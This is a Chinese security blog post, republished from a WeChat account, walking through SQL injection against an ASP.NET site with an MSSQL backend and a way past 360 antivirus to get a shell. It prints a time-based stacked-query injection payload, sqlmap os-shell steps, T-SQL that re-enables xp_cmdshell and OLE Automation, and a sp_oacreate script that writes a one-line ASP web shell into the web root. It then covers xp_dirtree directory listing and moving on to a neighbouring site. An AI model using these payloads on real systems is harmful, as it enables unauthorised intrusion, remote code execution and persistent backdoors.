Mssql数据库绕过360拿shell的姿势

admin 2022年10月13日15:51:33评论50 views字数 1638阅读5分27秒阅读模式

0x01  存在注入





url如下:

http://xxxxx.net/g1_trans/tran_shuke_1.aspx?id=1059

通过堆查询延迟注入,判断是dbo的权限

;if(selectIS_SRVROLEMEMBER('sysadmin'))=1WAITFOR DELAY'0:0:05'--

那么直接通过sqlmap来进行执行命令 --os-shell,发现

[18:39:23] [INFO] checking if xp_cmdshell extended procedure is available, please wait..xp_cmdshell extended procedure does not seem to be available. Do you want sqlmap to try to re-enable it? [Y/n] Y[18:39:25] [WARNING] xp_cmdshell re-enabling failed

通过--sql-shell 来手动开启

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;os-shell> exec master..xp_cmdshell "whoami"

当sqlmap启动xp_cmdshell组件执行失败的时候还会尝试去开启sp_OACreate,手动执行语句为:

EXEC sp_configure 'show advanced options', 1;  RECONFIGURE WITH OVERRIDE;  EXEC sp_configure 'Ole Automation Procedures', 1;RECONFIGURE WITH OVERRIDE;  EXEC sp_configure 'show advanced options', 0;

但是还是发现执行失败:Command standard output [0]

0x02 提 权  

之前信息搜集的时候发现开放的端口有

Mssql数据库绕过360拿shell的姿势

连接下3389发现确实是有杀毒存在

Mssql数据库绕过360拿shell的姿势

所知道的利用xp_cmdshell组件 spsp_OACreate COM组件之类的进行执行命令都会被杀毒拦截 只能从别的方面下手,既然是dbo的权限那么也可以尝试通过差异备份等等的方法来绕过杀毒,这里利用的是存储过程来写文件。

declare @o int, @f int, @t int, @ret intexec sp_oacreate 'scripting.filesystemobject', @o outexec sp_oamethod @o, 'createtextfile', @f out, 'c:inetpubmuma.asp', 1exec @ret = sp_oamethod @f, 'writeline', NULL,'<%execute(request("a"))%>'

因为这里自己已经读到了权限dbo的密码 所以是直接用navicat上直接操作

execute master..xp_dirtree 'c:' //列出所有c:文件和目录,子目录 execute master..xp_dirtree 'c:',1 //只列c:文件夹 execute master..xp_dirtree 'c:',1,1 //列c:文件夹加文件

来寻找目录的地址 然后通过以上的操作来写文件就可以了

Mssql数据库绕过360拿shell的姿势

Mssql数据库绕过360拿shell的姿势

后来通过同服旁站的查询发现另外一个站点上的目录上文件有报错 同样可以发现路径来尝试写到另一个站点上高权限

Mssql数据库绕过360拿shell的姿势

                      


                                                                    From:https://hacksec.cn

往期推荐 

// 1

【PyHacker编写指南】网站Cms识别工具

// 2

【Pyhacker编写指南】Sql注入脚本编写

// 3

【PyHacker编写指南】爆破一句话密码

// 4

一次实战挖掘软件逻辑漏洞


原文始发于微信公众号(巡安似海):Mssql数据库绕过360拿shell的姿势

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月13日15:51:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Mssql数据库绕过360拿shell的姿势http://cn-sec.com/archives/1345372.html

发表评论

匿名网友 填写信息